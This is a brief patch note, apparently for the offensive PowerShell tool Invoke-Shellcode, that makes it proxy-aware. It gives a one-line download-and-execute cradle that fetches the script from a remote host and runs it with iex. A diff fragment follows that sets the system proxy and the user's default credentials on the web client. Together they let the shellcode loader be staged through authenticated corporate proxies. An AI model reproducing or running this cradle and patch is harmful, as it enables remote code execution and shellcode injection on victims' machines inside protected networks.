Invoke-Shellcode proxy-aware

Invoke-Shellcode-Proxy

# apply to Invoke-Shellcode.ps1
# invoke with:
# PS > $wc = New-Object Net.WebClient ; $wc.UseDefaultCredentials = $true; $wc.Proxy.Credentials = $wc.Credentials ; iex $wc.DownloadString("http://host/Invoke-Shellcode.ps1")

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<        
<         $proxy = [System.Net.WebRequest]::GetSystemWebProxy()
<         $proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
< 
---
>         
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<         $WebClient.proxy = $proxy
<         $WebClient.UseDefaultCredentials = $true